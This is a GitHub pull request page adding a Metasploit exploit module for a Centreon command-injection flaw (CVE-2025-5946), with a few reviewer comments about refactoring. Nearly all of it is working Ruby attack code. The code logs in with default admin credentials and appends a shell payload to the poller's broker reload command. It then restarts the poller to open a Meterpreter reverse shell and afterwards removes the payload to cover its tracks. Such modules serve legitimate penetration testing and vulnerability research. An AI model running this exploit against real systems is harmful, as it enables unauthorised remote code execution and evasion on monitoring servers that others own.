-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Centreon authenticated command injection leading to RCE via broker engine "reload" parameter [CVE-2025-5946] #20672
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from 2 commits
e01456b
83e7fc2
85b4233
408eceb
61dfc29
34c424f
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,289 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Remote | ||
| Rank = ExcellentRanking | ||
|
|
||
| include Msf::Exploit::Remote::HttpClient | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter', | ||
| 'Description' => %q{ | ||
| Centreon is a platform designed to monitor your cloud and on-premises infrastructure. | ||
| This module exploits an command injection vulnerability using the `broker engine reload` setting | ||
| on the poller configuration page of the Centreon web application. Injecting a malcious payload | ||
| at the `broker engine reload` parameter and restarting the poller triggers this vulnerability. | ||
| You need have admin access at the Centreon Web application in order to execute this RCE. | ||
| This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions | ||
| `24.10.13`, `24.04.18` and `23.10.28`. | ||
| }, | ||
| 'Author' => [ | ||
| 'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness | ||
| ], | ||
| 'References' => [ | ||
| ['CVE', '2025-5946'], | ||
| ['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'], | ||
| ['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946'] | ||
| ], | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => ['unix', 'linux'], | ||
| 'Privileged' => false, | ||
| 'Arch' => [ARCH_CMD], | ||
| 'Targets' => [ | ||
| [ | ||
| 'Unix/Linux Command', | ||
| { | ||
| 'Platform' => ['unix', 'linux'], | ||
| 'Arch' => ARCH_CMD, | ||
| 'Type' => :unix_cmd, | ||
| 'DefaultOptions' => { | ||
| 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' | ||
| }, | ||
| 'Payload' => { | ||
| 'Encoder' => 'cmd/base64', | ||
| 'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' " | ||
| } | ||
| } | ||
| ] | ||
| ], | ||
| 'DefaultTarget' => 0, | ||
| 'DisclosureDate' => '2025-09-24', | ||
| 'DefaultOptions' => { | ||
| 'SSL' => true, | ||
| 'RPORT' => 443 | ||
| }, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], | ||
| 'Reliability' => [REPEATABLE_SESSION] | ||
| } | ||
| ) | ||
| ) | ||
| register_options([ | ||
| OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']), | ||
| OptString.new('USERNAME', [false, 'Centreon web admin user', 'admin']), | ||
| OptString.new('PASSWORD', [false, 'Centreon web admin password', 'Centreon!123']) | ||
| ]) | ||
| end | ||
|
|
||
| # login at the Centreon web application | ||
| # return true if login successful else false | ||
| def centreon_login(name, pwd) | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It'd be lovely this have this into a mixing, as there are already 3 modules targeting centreon. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'd agree here, i think we have a non-written rule that if 3 modules are doing something similar it should be a mixin. |
||
| # login with admin credentials | ||
| # first try login logic in newer versions | ||
| post_data = { | ||
| login: name.to_s, | ||
| password: pwd.to_s | ||
| }.to_json | ||
| res = send_request_cgi({ | ||
| 'method' => 'POST', | ||
| 'ctype' => 'application/json', | ||
| 'keep_cookies' => true, | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'), | ||
| 'data' => post_data.to_s | ||
| }) | ||
| return true if res&.code == 200 && res.body.include?('redirect_uri') | ||
|
|
||
| # try again using login logic for older versions | ||
| # get centreon_token | ||
| res = send_request_cgi!({ | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path), | ||
| 'keep_cookies' => true | ||
| }) | ||
|
|
||
| unless res&.code == 200 && res.body.include?('centreon_token') | ||
| vprint_status('No centreon_token found!') | ||
| return false | ||
| end | ||
|
|
||
| html = res.get_html_document | ||
| centreon_token = html.css("input[name='centreon_token']")[0].attribute_nodes[2].text | ||
h00die-gr3y marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
|
|
||
| # login with admin credentials and centreon_token | ||
| if centreon_token | ||
| vprint_status("centreon_token=#{centreon_token}") | ||
| res = send_request_cgi({ | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, 'index.php'), | ||
| 'keep_cookies' => true, | ||
| 'vars_post' => { | ||
| 'useralias' => name.to_s, | ||
| 'password' => pwd.to_s, | ||
| 'submitLogin' => 'Connect', | ||
| 'centreon_token' => centreon_token.to_s | ||
| } | ||
| }) | ||
| return true if res&.code == 302 | ||
| else | ||
| vprint_warning('Unable to process the centreon_token.') | ||
| end | ||
| false | ||
| end | ||
|
|
||
| # CVE-2025-xxxx: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload | ||
h00die-gr3y marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| def execute_command(cmd, _opts = {}) | ||
| @clean_payload = true | ||
| payload = ";#{cmd}" | ||
dledda-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| vprint_status("payload=#{payload}") | ||
| # attach payload at the centreon broker engine "reload parameter | ||
| fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload) | ||
|
|
||
| # trigger execution by restarting the poller | ||
| send_request_cgi({ | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'), | ||
| 'keep_cookies' => true, | ||
| 'vars_post' => { | ||
| 'poller' => 1, | ||
| 'mode' => 1 | ||
| } | ||
| }) | ||
| end | ||
|
|
||
| # attach payload at the centreon broker engine "reload" parameter and commit into the sql database | ||
| def drop_rce_payload(payload) | ||
| # get the poller configuration and centreon_token | ||
| res = send_request_cgi({ | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path, 'main.get.php'), | ||
| 'keep_cookies' => true, | ||
| 'vars_get' => { | ||
| 'p' => 60901, | ||
| 'o' => 'c', | ||
| 'server_id' => 1 | ||
| } | ||
| }) | ||
|
|
||
| unless res&.code == 200 && res.body.include?('centreon_token') | ||
| vprint_status('No centreon_token found!') | ||
| return false | ||
| end | ||
|
|
||
| html = res.get_html_document | ||
| centreon_token = html.css("input[name='centreon_token']")[0].attribute_nodes[2].text | ||
h00die-gr3y marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
|
|
||
| # update poller "centreon broker engine reload" setting with payload | ||
| if centreon_token | ||
| vprint_status("centreon_token=#{centreon_token}") | ||
| res = send_request_cgi({ | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, 'main.get.php'), | ||
| 'keep_cookies' => true, | ||
| 'vars_get' => { | ||
| 'p' => 60901 | ||
| }, | ||
| 'vars_post' => { | ||
| 'name' => 'Central', | ||
| 'ns_ip_address' => '127.0.0.1', | ||
| 'localhost[localhost]' => 1, | ||
| 'is_default[is_default]' => 1, | ||
| 'gorgone_communication_type[gorgone_communication_type]' => 1, | ||
| 'gorgone_port' => 5556, | ||
| 'engine_start_command' => 'service centengine start', | ||
| 'engine_stop_command' => 'service centengine stop', | ||
| 'engine_restart_command' => 'service centengine restart', | ||
| 'engine_reload_command' => 'service centengine reload', | ||
| 'nagios_bin' => '/usr/sbin/centengine', | ||
| 'nagiostats_bin' => '/usr/sbin/centenginestats', | ||
| 'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata', | ||
| 'broker_reload_command' => "service cbd reload#{payload}", | ||
| 'centreonbroker_cfg_path' => '/etc/centreon-broker', | ||
| 'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker', | ||
| 'centreonbroker_logs_path' => nil, | ||
| 'centreonconnector_path' => '/usr/lib64/centreon-connector', | ||
| 'init_script_centreontrapd' => 'centreontrapd', | ||
| 'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/', | ||
| 'ns_activate[ns_activate]' => 1, | ||
| 'submitC' => 'Save', | ||
| 'id' => 1, | ||
| 'o' => 'c', | ||
| 'centreon_token' => centreon_token.to_s | ||
h00die-gr3y marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| } | ||
| }) | ||
| if res&.code == 200 && res.body.include?('ajaxOption table') | ||
| vprint_good('Poller setting "broker_reload_command" updated with payload.') | ||
| return true | ||
| else | ||
| vprint_warning('Poller setting "broker_reload_command" is not updated with payload.') | ||
| return false | ||
| end | ||
h00die-gr3y marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| else | ||
| vprint_warning('Unable to process the centreon_token.') | ||
| return false | ||
| end | ||
| end | ||
|
|
||
| # try to remove the payload from the poller settings to cover our tracks | ||
| def cleanup | ||
| super | ||
| # check if payload should be cleaned | ||
| if @clean_payload | ||
| vprint_status('Cleaning up the mess...') | ||
| if drop_rce_payload(nil) | ||
| print_good('Payload has been successfully removed.') | ||
| else | ||
| print_warning('Payload not removed. Try to remove it manually.') | ||
h00die-gr3y marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| end | ||
| end | ||
| end | ||
|
|
||
| # get the Centreon version | ||
| # return version if successful else nil | ||
| def get_centreon_version | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This would also be great to have in a mixin <3 |
||
| # get version information use Web API v2.0 | ||
| res = send_request_cgi({ | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'), | ||
| 'keep_cookies' => true | ||
| }) | ||
| # for older versions try to scrape the version from the login web page | ||
| unless res&.code == 200 && res.body.include?('web') | ||
| res = send_request_cgi!({ | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path), | ||
| 'keep_cookies' => true | ||
| }) | ||
| return nil unless res&.code == 200 | ||
|
|
||
| build = res.body.match(/v\.\s*\d+\.\d+\.\d+/) | ||
| return nil if build.nil? | ||
|
|
||
| return build[0].gsub(/[[:space:]]/, '').split('v.')[1] | ||
| end | ||
| res_json = res.get_json_document | ||
| res_json['web']['version'] unless res_json.blank? | ||
| end | ||
|
|
||
| def check | ||
| version = get_centreon_version | ||
| return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil? | ||
|
|
||
| version = Rex::Version.new(version) | ||
| return CheckCode::Appears("Centreon version #{version}") if version >= Rex::Version.new('19.10.0') && version < Rex::Version.new('25.09.0') | ||
|
|
||
| CheckCode::Safe("Centreon version #{version}") | ||
| end | ||
|
|
||
| def exploit | ||
| # check if we can login at the Centreon Web application with the default admin credentials | ||
| username = datastore['USERNAME'] | ||
| password = datastore['PASSWORD'] | ||
| print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.") | ||
| fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password) | ||
| print_status('Succesfully authenticated at the Centreon Web application.') | ||
|
|
||
| # storing credentials at the msf database | ||
| print_status('Saving admin credentials at the msf database.') | ||
| store_valid_credential(user: username, private: password) | ||
|
|
||
| print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") | ||
| execute_command(payload.encoded) | ||
| end | ||
| end | ||
Uh oh!
There was an error while loading. Please reload this page.